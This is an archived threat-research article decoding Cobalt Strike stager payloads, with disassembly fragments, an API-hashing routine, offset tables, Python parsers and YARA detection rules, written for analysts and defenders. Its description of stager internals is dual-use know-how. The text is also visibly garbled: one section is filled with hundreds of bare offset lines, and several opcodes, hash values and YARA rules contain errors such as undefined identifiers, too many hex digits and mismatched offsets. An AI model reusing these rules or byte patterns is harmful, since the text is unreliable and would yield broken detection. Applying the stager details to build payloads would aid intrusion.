

# Decoding Cobalt Strike: Understanding payloads

By Threat Research TeamThreat Research Team

Archived: 2026-04-05 14:38:33 UTC

## Intro

[Cobalt Strike](#) threat emulation software is the de facto standard closed-source/paid tool used by infosec teams in many governments, organizations and companies. It is also very popular in many cybercrime groups which usually abuse cracked or leaked versions of Cobalt Strike.

Cobalt Strike has multiple unique features, secure communication and it is fully modular and customizable so proper detection and attribution can be problematic. It is the main reason why we have seen use of Cobalt Strike in almost every major cyber security incident or big breach for the past several years.

There are many great articles about reverse engineering Cobalt Strike software, especially beacon modules as the most important part of the whole chain. Other modules and payloads are very often overlooked, but these parts also contain valuable information for malware researchers and forensic analysts or investigators.

The first part of this series is dedicated to proper identification of all raw payload types and how to decode and parse them. We also share our useful parsers, scripts and yara rules based on these findings [back to the community](#).

## Raw payloads

Cobalt Strike's payloads are based on Meterpreter shellcodes and include many similarities like API hashing ([x86](#) and [x64](#) versions) or url query [checksum8](#) algo used in http/https payloads, which makes identification harder. This particular checksum8 algorithm is also used in other frameworks like [Empire](#).

Let's describe interesting parts of each payload separately.

### Payload header x86 variant

Default 32bit raw payload's entry points start with typical instruction `CLD (0xFC)` followed by `CALL` instruction and `PUSHA (0x60)` as the first instruction from API hash algorithm.

```
00000000      public payload_start
00000000      payload_start      proc near
00000000      00000000          cld
00000000      28 29 00 00 00 00      call     load_wininet
00000001      payload_start      endp
00000001
00000000      ; ----- S U B R O U T I N E -----
00000000
00000000      api_call          proc near
00000000      00000000          var_4             = dword ptr -4
00000000      00000000
00000000      00000000          pusha
00000000      00000000          mov     ebp, esp
00000000      00000000          xor     edx, edx
00000000      64 88 52 30          mov     edx, fs:[edx+30h]
00000000      80 52 0C          mov     edx, [edx+0Ch]
00000000      88 52 14          mov     edx, [edx+14h]
00000000      00000000
00000000      next_mod:         ; CODE XREF: api_call+871j
00000000      80 72 20          mov     esi, [edx+20h]
00000000      8F 4A 26          movzx  ecx, word ptr [edx+26h]
00000000      00 00 00 00          xor     edi, edi
```

## x86 payload

### Payload header x64 variant

Standard 64bit variants start also with `CLD` instruction followed by `AND RSP, -10h` and `CALL` instruction.

```

00000 public payload_start
00000 payload_start proc near
00000 cld
00001 40 83 E4 F0 and rsp, 0FFFFFFFFF0h
00005 E8 C8 00 00 00 call load_winet
00005 payload_start endp
0000A ; ----- SUBROUTINE -----
0000A
0000A api_call proc near
0000A var_38 = qword ptr -38h
0000A
0000A 41 51 push r9
0000C 41 50 push r8
0000E 52 push rdx
0000F 51 push rcx
00010 55 push rsi
00011 48 31 02 xor rdx, rdx
00014 25 40 00 52 40 mov rdx, gs:[rdx+00h]
00019 40 00 52 18 mov rdx, [rdx+18h]
0001D 40 00 52 20 mov rdx, [rdx+20h]
00021

```

## x64 payload

We can use these patterns for locating payloads' entry points and count other fixed offsets from this position.

```

PAYLOAD_ARCH_PATTERNS = {
  b'\xfc\xe8\x89\x00\x00\x00\x00\x00': 'x86',
  b'\xfc\x40\x83\xe4\xf0\xe8\xc8\x00': 'x64'
}

```

### Default API hashes

Raw payloads have a predefined structure and binary format with particular placeholders for each customizable value such as DNS queries, HTTP headers or C2 IP address. Placeholder offsets are on fixed positions the same as hard coded API hash values. The hash algorithm is `ROR13` and the final hash is calculated from the API function name and DLL name. The whole algorithm is nicely commented inside assembly code on the Metasploit repository.

```

def ROR(data, bits):
    return (data >> bits | data << (32 - bits)) & 0xFFFFFFFF

def hash_api(dll_name, api_name):
    # normalize api name
    api = bytes(api_name, 'utf-8') + b'\x00'
    # normalize dll name
    dll = dll_name.upper().encode('utf-16')[2:] + b'\x00\x00'
    # compute api hash
    api_hash = 0
    for i in range(len(api)):
        api_hash = ROR(api_hash, 0xd) + api[i]
    # compute dll hash
    dll_hash = 0
    for i in range(len(dll)):
        dll_hash = ROR(dll_hash, 0xd) + dll[i]
    # compute final hash
    final_hash = (api_hash + dll_hash) & 0xFFFFFFFF
    print('0x%08x,%s!%s' % (final_hash, dll_name, api_name))

```

### Python implementation of API hashing algorithm

We can use the following regex patterns for searching hardcoded API hashes:

```

if arch == 'x86':
    r = re.compile(b'\x68[\x00-\xff]{4}\xff\xd5')
elif arch == 'x64':
    r = re.compile(b'\x41[\x00-\xff]{5}\xff\xd5')

```

### Default API hashes

We can use a known API hashes list for proper payload type identification and known fixed positions of API hashes for more accurate detection via Yara rules.

```

if api_hash == 0x6737dbc2: # ws2_32.dll_bind
    payload_type = 'TCP bind'
elif api_hash == 0x6174a599: # ws2_32.dll_connect
    payload_type = 'TCP reverse'
elif api_hash == 0xc99cc96a: # dnsapi.dll_DnsQuery_A
    payload_type = 'DNS stager'
elif api_hash == 0xd4df7045: # kernel32.dll_CreateNamedPipeA
    payload_type = 'SMB stager'
elif api_hash == 0xa779563a: # wininet.dll_InternetOpenA
    payload_type = 'HTTP stager'
elif api_hash == 0x869e4675: # wininet.dll_InternetSetOptionA
    payload_type = 'HTTPS stager'

```

Payload identification via known API hashes

Complete Cobalt Strike API hash list:

API hash	DLL and API name
0xc99cc96a	dnsapi.dll_DnsQuery_A
0x528796c6	kernel32.dll_CloseHandle
0xe27d6f28	kernel32.dll_ConnectNamedPipe
0xd4df7045	kernel32.dll_CreateNamedPipeA
0xfcddfac0	kernel32.dll_DisconnectNamedPipe
0x56a2b5f0	kernel32.dll_ExitProcess
0x5de2c5aa	kernel32.dll_GetLastError
0x0726774c	kernel32.dll_LoadLibraryA
0xcc8e00f4	kernel32.dll_IsStrlenA
0xe035f044	kernel32.dll_Sleep
0xbb5f9ead	kernel32.dll_ReadFile
0xe553a458	kernel32.dll_VirtualAlloc
0x315c2145	user32.dll_GetDesktopWindow
0x3b2e55eb	wininet.dll_HttpOpenRequestA
0x7b18062d	wininet.dll_HttpSendRequestA
0xc69f8957	wininet.dll_InternetConnectA
0x0be057b7	wininet.dll_InternetErrorDlg
0xa779563a	wininet.dll_InternetOpenA
0xe2899612	wininet.dll_InternetReadFile
0x869e4675	wininet.dll_InternetSetOptionA
0xe13bec74	ws2_32.dll_accept
0x6737dbc2	ws2_32.dll_bind

API hash list 1/2

0x614d6e75	ws2_32.dll_closesocket
0x6174a599	ws2_32.dll_connect
0xf38e9b7	ws2_32.dll_listen
0x5fc8d902	ws2_32.dll_recv
0xe0df0fea	ws2_32.dll_WSASocketA
0x006b8029	ws2_32.dll_WSAStartup

API hash list 2/2

Complete API hash list for Windows 10 system DLLs is available [here](#).

### Customer ID / Watermark

Based on information provided on official web pages, Customer ID is a 4-byte number associated with the Cobalt Strike licence key and since v3.9 is embedded into the payloads and beacon configs. This number is located at the end of the payload if it is present. Customer ID could be used for specific threat authors identification or

attribution, but a lot of Customer IDs are from cracked or leaked versions, so please consider this while looking at these for possible attribution.

## DNS stager x86

Typical payload size is 515 bytes or 519 bytes with included Customer ID value. The DNS query name string starts on offset 0x0140 (calculated from payload entry point) and the null byte and max string size is 63 bytes. If the DNS query name string is shorter, then is terminated with a null byte and the rest of the string space is filled with junk bytes.

DnsQuery\_A API function is called with two default parameters:

Parameter	Value	Constant
DNS_Record_Type (wType)	0x0010	DNS_TYPE_TEXT
DNS_Query_Options (Options)	0x0248	DNS_QUERY_BYPASS_CACHE DNS_QUERY_NO_HOSTS_FILE DNS_QUERY_RETURN_MESSAGE

Anything other than the default values are suspicious and could indicate custom payload.

Python parsing:

```
dns_record_type = struct.unpack_from('<B', data, 0x12c)[0]
dns_query_options = struct.unpack_from('<H', data, 0x127)[0]
dns_query_name = get_str(data, 0x14b, 0x18a)
```

Default DNS payload API hashes:

Offset	Hash value	API name
0x00a3	0xe553a458	kernel32.dll_VirtualAlloc
0x00bd	0x0726774c	kernel32.dll_LoadLibraryA
0x012f	0xc99cc96a	dnsapi.dll_DnsQuery_A
0x0198	0x56a2b5f0	kernel32.dll_ExitProcess
0x01a4	0xe035f044	kernel32.dll_Sleep
0x01e4	0xcc8e00f4	kernel32.dll_lstrlenA

Yara rule for DNS stagers:

```
rule cobaltstrike_raw_payload_dns_stager_x86
{
  strings:
    $h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 88 52 30 88 52 0C 88 52 14 8B 72 28 }
  condition:
    uint32(@h01+0x00a3) == 0xe553a458 and
    uint32(@h01+0x00bd) == 0x0726774c and
    uint32(@h01+0x012f) == 0xc99cc96a and
    uint32(@h01+0x0198) == 0x56a2b5f0 and
    uint32(@h01+0x01a4) == 0xe035f044 and
    uint32(@h01+0x01e4) == 0xcc8e00f4
}
```

## SMB stager x86

The default payload size is 346 bytes plus the length of the pipe name string terminated by a null byte and the length of the Customer ID if present. The pipe name string is located right after the payload code on offset 0x015A in plaintext format.

[CreateNamedPipeA](#) API function is called with 3 default parameters:

Parameter	Value	Constant
Open Mode (dwOpenMode)	0x0003	PIPE_ACCESS_DUPLEX
Pipe Mode (dwPipeMode)	0x0006	PIPE_TYPE_MESSAGE, PIPE_READMODE_MESSAGE
Max Instances (nMaxInstances)	0x0001	

```
smb_max_instances = struct.unpack_from('<B', data, 0x8D)[0]
smb_pipe_mode = struct.unpack_from('<B', data, 0xBF)[0]
smb_open_mode = struct.unpack_from('<B', data, 0xC1)[0]
smb_pipe_name = get_str(data, 0x15a)
```

Default SMB payload API hashes:

Offset	Hash value	API name
0x00a1	0xe553a458	kernel32.dll_VirtualAlloc
0x00c4	0xd4df7045	kernel32.dll_CreateNamedPipeA
0x00d2	0xe27d6f28	kernel32.dll_ConnectNamedPipe
0x00f8	0xbb5f9ead	kernel32.dll_ReadFile
0x010d	0xbb5f9ead	kernel32.dll_ReadFile
0x0131	0xfcddfacc0	kernel32.dll_DisconnectNamedPipe
0x0139	0x528796c6	kernel32.dll_CloseHandle
0x014b	0x56a2b5f0	kernel32.dll_ExitProcess

Yara rule for SMB stagers:

```
rule cobaltstrike_raw_payload_smb_stager_x86
{
  strings:
    $h01 = { FC E8 89 00 00 00 68 89 E5 31 D2 64 88 52 30 88 52 0C 88 52 14 88 72 28 }
  condition:
    uint32(@h01+0x00a1) == 0xe553a458 and
    uint32(@h01+0x00c4) == 0xd4df7045 and
    uint32(@h01+0x00d2) == 0xe27d6f28 and
    uint32(@h01+0x00f8) == 0xbb5f9ead and
    uint32(@h01+0x010d) == 0xbb5f9ead and
    uint32(@h01+0x0131) == 0xfcddfacc0 and
    uint32(@h01+0x0139) == 0x528796c6 and
    uint32(@h01+0x014b) == 0x56a2b5f0
}
```

### TCP Bind stager x86

The payload size is 332 bytes plus the length of the Customer ID if present. Parameters for the bind API function are stored inside the `SOCKADDR_IN` structure hardcoded as two dword pushes. The first `PUSH` with the `sin_addr` value is located on offset `0x00C4`. The second `PUSH` contains `sin_port` and `sin_family` values and is located on offset `0x00C9`. The default `sin_family` value is `AF_INET` (`0x02`).

```
00000040 inc     eax
00000041 push   eax
00000042 push   eax
00000043 push   ws2_32.dll_USASocketA
00000044 call   ebp
00000045 xchg   eax, edi
00000046 xax   ebx, ebx
00000047 push   1000077F          ; sin_ip: 127.0.0.1
00000048 push   5C110002h       ; sin_port: 4444
00000049 mov     esi, esp       ; sa_family: AF_INET
0000004A
0000004B
0000004C
0000004D
0000004E
0000004F
00000050
00000051
00000052
00000053
00000054
00000055
00000056
00000057
00000058
00000059
0000005A
0000005B
0000005C
0000005D
0000005E
0000005F
00000060
00000061
00000062
00000063
00000064
00000065
00000066
00000067
00000068
00000069
0000006A
0000006B
0000006C
0000006D
0000006E
0000006F
00000070
00000071
00000072
00000073
00000074
00000075
00000076
00000077
00000078
00000079
0000007A
0000007B
0000007C
0000007D
0000007E
0000007F
00000080
00000081
00000082
00000083
00000084
00000085
00000086
00000087
00000088
00000089
0000008A
0000008B
0000008C
0000008D
0000008E
0000008F
00000090
00000091
00000092
00000093
00000094
00000095
00000096
00000097
00000098
00000099
0000009A
0000009B
0000009C
0000009D
0000009E
0000009F
000000A0
000000A1
000000A2
000000A3
000000A4
000000A5
000000A6
000000A7
000000A8
000000A9
000000AA
000000AB
000000AC
000000AD
000000AE
000000AF
000000B0
000000B1
000000B2
000000B3
000000B4
000000B5
000000B6
000000B7
000000B8
000000B9
000000BA
000000BB
000000BC
000000BD
000000BE
000000BF
000000C0
000000C1
000000C2
000000C3
000000C4
000000C5
000000C6
000000C7
000000C8
000000C9
000000CA
000000CB
000000CC
000000CD
000000CE
000000CF
000000D0
000000D1
000000D2
000000D3
000000D4
000000D5
000000D6
000000D7
000000D8
000000D9
000000DA
000000DB
000000DC
000000DD
000000DE
000000DF
000000E0
000000E1
000000E2
000000E3
000000E4
000000E5
000000E6
000000E7
000000E8
000000E9
000000EA
000000EB
000000EC
000000ED
000000EE
000000EF
000000F0
000000F1
000000F2
000000F3
000000F4
000000F5
000000F6
000000F7
000000F8
000000F9
000000FA
000000FB
000000FC
000000FD
000000FE
000000FF
00000100
00000101
00000102
00000103
00000104
00000105
00000106
00000107
00000108
00000109
0000010A
0000010B
0000010C
0000010D
0000010E
0000010F
00000110
00000111
00000112
00000113
00000114
00000115
00000116
00000117
00000118
00000119
0000011A
0000011B
0000011C
0000011D
0000011E
0000011F
00000120
00000121
00000122
00000123
00000124
00000125
00000126
00000127
00000128
00000129
0000012A
0000012B
0000012C
0000012D
0000012E
0000012F
00000130
00000131
00000132
00000133
00000134
00000135
00000136
00000137
00000138
00000139
0000013A
0000013B
0000013C
0000013D
0000013E
0000013F
00000140
00000141
00000142
00000143
00000144
00000145
00000146
00000147
00000148
00000149
0000014A
0000014B
0000014C
0000014D
0000014E
0000014F
00000150
00000151
00000152
00000153
00000154
00000155
00000156
00000157
00000158
00000159
0000015A
0000015B
0000015C
0000015D
0000015E
0000015F
00000160
00000161
00000162
00000163
00000164
00000165
00000166
00000167
00000168
00000169
0000016A
0000016B
0000016C
0000016D
0000016E
0000016F
00000170
00000171
00000172
00000173
00000174
00000175
00000176
00000177
00000178
00000179
0000017A
0000017B
0000017C
0000017D
0000017E
0000017F
00000180
00000181
00000182
00000183
00000184
00000185
00000186
00000187
00000188
00000189
0000018A
0000018B
0000018C
0000018D
0000018E
0000018F
00000190
00000191
00000192
00000193
00000194
00000195
00000196
00000197
00000198
00000199
0000019A
0000019B
0000019C
0000019D
0000019E
0000019F
000001A0
000001A1
000001A2
000001A3
000001A4
000001A5
000001A6
000001A7
000001A8
000001A9
000001AA
000001AB
000001AC
000001AD
000001AE
000001AF
000001B0
000001B1
000001B2
000001B3
000001B4
000001B5
000001B6
000001B7
000001B8
000001B9
000001BA
000001BB
000001BC
000001BD
000001BE
000001BF
000001C0
000001C1
000001C2
000001C3
000001C4
000001C5
000001C6
000001C7
000001C8
000001C9
000001CA
000001CB
000001CC
000001CD
000001CE
000001CF
000001D0
000001D1
000001D2
000001D3
000001D4
000001D5
000001D6
000001D7
000001D8
000001D9
000001DA
000001DB
000001DC
000001DD
000001DE
000001DF
000001E0
000001E1
000001E2
000001E3
000001E4
000001E5
000001E6
000001E7
000001E8
000001E9
000001EA
000001EB
000001EC
000001ED
000001EE
000001EF
000001F0
000001F1
000001F2
000001F3
000001F4
000001F5
000001F6
000001F7
000001F8
000001F9
000001FA
000001FB
000001FC
000001FD
000001FE
000001FF
00000200
00000201
00000202
00000203
00000204
00000205
00000206
00000207
00000208
00000209
0000020A
0000020B
0000020C
0000020D
0000020E
0000020F
00000210
00000211
00000212
00000213
00000214
00000215
00000216
00000217
00000218
00000219
0000021A
0000021B
0000021C
0000021D
0000021E
0000021F
00000220
00000221
00000222
00000223
00000224
00000225
00000226
00000227
00000228
00000229
0000022A
0000022B
0000022C
0000022D
0000022E
0000022F
00000230
00000231
00000232
00000233
00000234
00000235
00000236
00000237
00000238
00000239
0000023A
0000023B
0000023C
0000023D
0000023E
0000023F
00000240
00000241
00000242
00000243
00000244
00000245
00000246
00000247
00000248
00000249
0000024A
0000024B
0000024C
0000024D
0000024E
0000024F
00000250
00000251
00000252
00000253
00000254
00000255
00000256
00000257
00000258
00000259
0000025A
0000025B
0000025C
0000025D
0000025E
0000025F
00000260
00000261
00000262
00000263
00000264
00000265
00000266
00000267
00000268
00000269
0000026A
0000026B
0000026C
0000026D
0000026E
0000026F
00000270
00000271
00000272
00000273
00000274
00000275
00000276
00000277
00000278
00000279
0000027A
0000027B
0000027C
0000027D
0000027E
0000027F
00000280
00000281
00000282
00000283
00000284
00000285
00000286
00000287
00000288
00000289
0000028A
0000028B
0000028C
0000028D
0000028E
0000028F
00000290
00000291
00000292
00000293
00000294
00000295
00000296
00000297
00000298
00000299
0000029A
0000029B
0000029C
0000029D
0000029E
0000029F
000002A0
000002A1
000002A2
000002A3
000002A4
000002A5
000002A6
000002A7
000002A8
000002A9
000002AA
000002AB
000002AC
000002AD
000002AE
000002AF
000002B0
000002B1
000002B2
000002B3
000002B4
000002B5
000002B6
000002B7
000002B8
000002B9
000002BA
000002BB
000002BC
000002BD
000002BE
000002BF
000002C0
000002C1
000002C2
000002C3
000002C4
000002C5
000002C6
000002C7
000002C8
000002C9
000002CA
000002CB
000002CC
000002CD
000002CE
000002CF
000002D0
000002D1
000002D2
000002D3
000002D4
000002D5
000002D6
000002D7
000002D8
000002D9
000002DA
000002DB
000002DC
000002DD
000002DE
000002DF
000002E0
000002E1
000002E2
000002E3
000002E4
000002E5
000002E6
000002E7
000002E8
000002E9
000002EA
000002EB
000002EC
000002ED
000002EE
000002EF
000002F0
000002F1
000002F2
000002F3
000002F4
000002F5
000002F6
000002F7
000002F8
000002F9
000002FA
000002FB
000002FC
000002FD
000002FE
000002FF
00000300
00000301
00000302
00000303
00000304
00000305
00000306
00000307
00000308
00000309
0000030A
0000030B
0000030C
0000030D
0000030E
0000030F
00000310
00000311
00000312
00000313
00000314
00000315
00000316
00000317
00000318
00000319
0000031A
0000031B
0000031C
0000031D
0000031E
0000031F
00000320
00000321
00000322
00000323
00000324
00000325
00000326
00000327
00000328
00000329
0000032A
0000032B
0000032C
0000032D
0000032E
0000032F
00000330
00000331
00000332
00000333
00000334
00000335
00000336
00000337
00000338
00000339
0000033A
0000033B
0000033C
0000033D
0000033E
0000033F
00000340
00000341
00000342
00000343
00000344
00000345
00000346
00000347
00000348
00000349
0000034A
0000034B
0000034C
0000034D
0000034E
0000034F
00000350
00000351
00000352
00000353
00000354
00000355
00000356
00000357
00000358
00000359
0000035A
0000035B
0000035C
0000035D
0000035E
0000035F
00000360
00000361
00000362
00000363
00000364
00000365
00000366
00000367
00000368
00000369
0000036A
0000036B
0000036C
0000036D
0000036E
0000036F
00000370
00000371
00000372
00000373
00000374
00000375
00000376
00000377
00000378
00000379
0000037A
0000037B
0000037C
0000037D
0000037E
0000037F
00000380
00000381
00000382
00000383
00000384
00000385
00000386
00000387
00000388
00000389
0000038A
0000038B
0000038C
0000038D
0000038E
0000038F
00000390
00000391
00000392
00000393
00000394
00000395
00000396
00000397
00000398
00000399
0000039A
0000039B
0000039C
0000039D
0000039E
0000039F
000003A0
000003A1
000003A2
000003A3
000003A4
000003A5
000003A6
000003A7
000003A8
000003A9
000003AA
000003AB
000003AC
000003AD
000003AE
000003AF
000003B0
000003B1
000003B2
000003B3
000003B4
000003B5
000003B6
000003B7
000003B8
000003B9
000003BA
000003BB
000003BC
000003BD
000003BE
000003BF
000003C0
000003C1
000003C2
000003C3
000003C4
000003C5
000003C6
000003C7
000003C8
000003C9
000003CA
000003CB
000003CC
000003CD
000003CE
000003CF
000003D0
000003D1
000003D2
000003D3
000003D4
000003D5
000003D6
000003D7
000003D8
000003D9
000003DA
000003DB
000003DC
000003DD
000003DE
000003DF
000003E0
000003E1
000003E2
000003E3
000003E4
000003E5
000003E6
000003E7
000003E8
000003E9
000003EA
000003EB
000003EC
000003ED
000003EE
000003EF
000003F0
000003F1
000003F2
000003F3
000003F4
000003F5
000003F6
000003F7
000003F8
000003F9
000003FA
000003FB
000003FC
000003FD
000003FE
000003FF
00000400
00000401
00000402
00000403
00000404
00000405
00000406
00000407
00000408
00000409
0000040A
0000040B
0000040C
0000040D
0000040E
0000040F
00000410
00000411
00000412
00000413
00000414
00000415
00000416
00000417
00000418
00000419
0000041A
0000041B
0000041C
0000041D
0000041E
0000041F
00000420
00000421
00000422
00000423
00000424
00000425
00000426
00000427
00000428
00000429
0000042A
0000042B
0000042C
0000042D
0000042E
0000042F
00000430
00000431
00000432
00000433
00000434
00000435
00000436
00000437
00000438
00000439
0000043A
0000043B
0000043C
0000043D
0000043E
0000043F
00000440
00000441
00000442
00000443
00000444
00000445
00000446
00000447
00000448
00000449
0000044A
0000044B
0000044C
0000044D
0000044E
0000044F
00000450
00000451
00000452
00000453
00000454
00000455
00000456
00000457
00000458
00000459
0000045A
0000045B
0000045C
0000045D
0000045E
0000045F
00000460
00000461
00000462
00000463
00000464
00000465
00000466
00000467
00000468
00000469
0000046A
0000046B
0000046C
0000046D
0000046E
0000046F
00000470
00000471
00000472
00000473
00000474
00000475
00000476
00000477
00000478
00000479
0000047A
0000047B
0000047C
0000047D
0000047E
0000047F
00000480
00000481
00000482
00000483
00000484
00000485
00000486
00000487
00000488
00000489
0000048A
0000048B
0000048C
0000048D
0000048E
0000048F
00000490
00000491
00000492
00000493
00000494
00000495
00000496
00000497
00000498
00000499
0000049A
0000049B
0000049C
0000049D
0000049E
0000049F
000004A0
000004A1
000004A2
000004A3
000004A4
000004A5
000004A6
000004A7
000004A8
000004A9
000004AA
000004AB
000004AC
000004AD
000004AE
000004AF
000004B0
000004B1
000004B2
000004B3
000004B4
000004B5
000004B6
000004B7
000004B8
000004B9
000004BA
000004BB
000004BC
000004BD
000004BE
000004BF
000004C0
000004C1
000004C2
000004C3
000004C4
000004C5
000004C6
000004C7
000004C8
000004C9
000004CA
000004CB
000004CC
000004CD
000004CE
000004CF
000004D0
000004D1
000004D2
000004D3
000004D4
000004D5
000004D6
000004D7
000004D8
000004D9
000004DA
000004DB
000004DC
000004DD
000004DE
000004DF
000004E0
000004E1
000004E2
000004E3
000004E4
000004E5
000004E6
000004E7
000004E8
000004E9
000004EA
000004EB
000004EC
000004ED
000004EE
000004EF
000004F0
000004F1
000004F2
000004F3
000004F4
000004F5
```

### Default TCP Bind x86 payload API hashes:

Offset	Hash value	API name
0x009c	0x0726774c	kernel32.dll_LoadLibraryA
0x00ac	0x006b8029	ws2_32.dll_WSASStartup
0x00bb	0xe0df0fea	ws2_32.dll_WSASocketA
0x00d5	0x6737dbc2	ws2_32.dll_bind
0x00de	0xff38e9b7	ws2_32.dll_listen
0x00e8	0xe13bec74	ws2_32.dll_accept
0x00f1	0x614d6e75	ws2_32.dll_closesocket
0x00fa	0x56a2b5f0	kernel32.dll_ExitProcess
0x0107	0x5fc8d902	ws2_32.dll_recv
0x011a	0xe553a458	kernel32.dll_VirtualAlloc
0x0128	0x5fc8d902	ws2_32.dll_recv
0x013d	0x614d6e75	ws2_32.dll_closesocket

### Yara rule for TCP Bind x86 stagers:

```
rule cobaltstrike_raw_payload_tcp_bind_x86
{
  strings:
    $h01 = { FC E8 89 00 00 00 68 89 E5 31 D2 64 8B 52 30 8B 52 0C 88 52 14 8B 72 28 }
  condition:
    uint32(@h01+0x009c) == 0x0726774c and
    uint32(@h01+0x00ac) == 0x006b8029 and
    uint32(@h01+0x00bb) == 0xe0df0fea and
    uint32(@h01+0x00d5) == 0x6737dbc2 and
    uint32(@h01+0x00de) == 0xff38e9b7 and
    uint32(@h01+0x00e8) == 0xe13bec74 and
    uint32(@h01+0x00f1) == 0x614d6e75 and
    uint32(@h01+0x00fa) == 0x56a2b5f0 and
    uint32(@h01+0x0107) == 0x5fc8d902 and
    uint32(@h01+0x011a) == 0xe553a458 and
    uint32(@h01+0x0128) == 0x5fc8d902 and
    uint32(@h01+0x013d) == 0x614d6e75
}
```

### TCP Bind stager x64

The payload size is 510 bytes plus the length of the Customer ID if present. The `SOCKADDR_IN` structure is hard coded inside the `MOV` instruction as a qword and contains the whole structure. The offset for the `MOV` instruction is `0x00EC`.

```
00000020 5D                pop     rbp
00000023 89 BE 77 32 5F 33 32 00 00  mov     r14, '23_2sw'
00000024 56                push   r14
00000025 49 09 E6         mov     r14, rsp
00000026 48 01 EC A0 01 00 00  sub     rsp, 1A0h
00000027 49 09 E5         mov     r13, rsp
00000028 49 09 E5         mov     r12, 400007F5C110002h
00000029 54                push   r12
0000002A 49 09 E4         mov     r12, rsp
0000002B 4C 09 F1         mov     rcx, r14
0000002C 41 BA 4C 77 26 07  mov     r10d, kernel32.dll_LoadLibraryA
0000002D 7F 05                call   rbp

sin_addr = '%d.%d.%d.%d' % struct.unpack_from('BBBB', data, 0xF2)
sin_family = struct.unpack_from('H', data, 0xEE)[0]
sin_port = struct.unpack_from('>H', data, 0xF0)[0]
```

### Default TCP Bind x64 payload API hashes:

Offset	Hash value	API name
0x0100	0x0726774c	kernel32.dll_LoadLibraryA
0x0111	0x006b8029	ws2_32.dll_WSASStartup
0x012d	0xe0df0fea	ws2_32.dll_WSASocketA
0x0142	0x6737dbc2	ws2_32.dll_bind
0x0150	0xff38e9b7	ws2_32.dll_listen
0x0161	0xe13bec74	ws2_32.dll_accept
0x016f	0x614d6e75	ws2_32.dll_closesocket
0x0198	0x5fc8d902	ws2_32.dll_recv
0x01b8	0xe553a458	kernel32.dll_VirtualAlloc
0x01d2	0x5fc8d902	ws2_32.dll_recv
0x01ee	0x614d6e75	ws2_32.dll_closesocket

Yara rule for TCP Bind x64 stagers:

```
rule cobaltstrike_raw_payload_tcp_bind_x64
{
  strings:
    $h01 = { FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 }
  condition:
    uint32(@h01+0x0100) == 0x0726774c and
    uint32(@h01+0x0111) == 0x006b8029 and
    uint32(@h01+0x012d) == 0xe0df0fea and
    uint32(@h01+0x0142) == 0x6737dbc2 and
    uint32(@h01+0x0150) == 0xff38e9b7 and
    uint32(@h01+0x0161) == 0xe13bec74 and
    uint32(@h01+0x016f) == 0x614d6e75 and
    uint32(@h01+0x0198) == 0x5fc8d902 and
    uint32(@h01+0x01b8) == 0xe553a458 and
    uint32(@h01+0x01d2) == 0x5fc8d902 and
    uint32(@h01+0x01ee) == 0x614d6e75
}
```

### TCP Reverse stager x86

The payload size is 290 bytes plus the length of the Customer ID if present. This payload is very similar to TCP Bind x86 and `SOCKADDR_IN` structure is hardcoded on the same offset with the same double push instructions so we can reuse python parsing code from TCP Bind x86 payload.

Default TCP Reverse x86 payload API hashes:

Offset	Hash value	API name
0x009c	0x0726774c	kernel32.dll_LoadLibraryA
0x00ac	0x006b8029	ws2_32.dll_WSASStartup
0x00bb	0xe0df0fea	ws2_32.dll_WSASocketA
0x00d5	0x6174a599	ws2_32.dll_connect
0x00e5	0x56a2b5f0	kernel32.dll_ExitProcess
0x00f2	0x5fc8d902	ws2_32.dll_recv
0x0105	0xe553a458	kernel32.dll_VirtualAlloc
0x0113	0x5fc8d902	ws2_32.dll_recv

Yara rule for TCP Reverse x86 stagers:

```
rule cobaltstrike_raw_payload_tcp_reverse_x86
{
  strings:
  $m01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 88 52 30 88 52 0C 88 52 14 88 72 28 }
  condition:
    uint32(@#01+0x009c) == 0x0726774c and
    uint32(@#01+0x00ac) == 0x006b8029 and
    uint32(@#01+0x00bb) == 0xe0df0fea and
    uint32(@#01+0x00d5) == 0x6174a599 and
    uint32(@#01+0x00e5) == 0x56a2b5f0 and
    uint32(@#01+0x00f2) == 0x5fc8d902 and
    uint32(@#01+0x0185) == 0xe553a458 and
    uint32(@#01+0x0113) == 0x5fc8d902
}
```

## TCP Reverse stager x64

Default payload size is 465 bytes plus length of Customer ID if present. Payload has the same position as the `SOCKADDR_IN` structure such as TCP Bind x64 payload so we can reuse parsing code again.

Default TCP Reverse x64 payload API hashes:

Offset	Hash value	API name
0x0100	0x0726774c	kernel32.dll_LoadLibraryA
0x0111	0x006b8029	ws2_32.dll_WSASStartup
0x012d	0xe0df0fea	ws2_32.dll_WSASocketA
0x0142	0x6174a599	ws2_32.dll_connect
0x016b	0x5fc8d902	ws2_32.dll_recv
0x018b	0xe553a458	kernel32.dll_VirtualAlloc
0x01a5	0x5fc8d902	ws2_32.dll_recv
0x01c1	0x614d6e75	ws2_32.dll_closesocket

Yara rule for TCP Reverse x64 stagers:

```
rule cobaltstrike_raw_payload_tcp_reverse_x64
{
  strings:
  $m01 = { FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 88 52 }
  condition:
    uint32(@#01+0x0100) == 0x0726774c and
    uint32(@#01+0x0111) == 0x006b8029 and
    uint32(@#01+0x012d) == 0xe0df0fea and
    uint32(@#01+0x0142) == 0x6174a599 and
    uint32(@#01+0x016b) == 0x5fc8d902 and
    uint32(@#01+0x018b) == 0xe553a458 and
    uint32(@#01+0x01a5) == 0x5fc8d902 and
    uint32(@#01+0x01c1) == 0x614d6e75
}
```

## HTTP stagers x86 and x64

Default x86 payload size fits 780 bytes and the x64 version is 874 bytes long plus size of request address string and size of Customer ID if present. The payloads include full request information stored inside multiple placeholders.

### Request address

The request address is a plaintext string terminated by null byte located right after the last payload instruction without any padding. The offset for the x86 version is 0x030C and 0x036A for the x64 payload version. Typical format is IPv4.

### Request port

For the x86 version the request port value is hardcoded inside a `PUSH` instruction as a `dword`. The offset for the `PUSH` instruction is `0x00BE`. The port value for the x64 version is stored inside `MOV r8d, dword` instruction on offset `0x010D`.

### Request query

The placeholder for the request query has a max size of 80 bytes and the value is a plaintext string terminated by a null byte. If the request query string is shorter, then the rest of the string space is filled with junk bytes. The placeholder offset for the x86 version is `0x0143` and `0x0186` for the x64 version.

Cobalt Strike and other tools such as Metasploit use a trivial `checksum8` algorithm for the request query to distinguish between x86 and x64 payload or beacon.

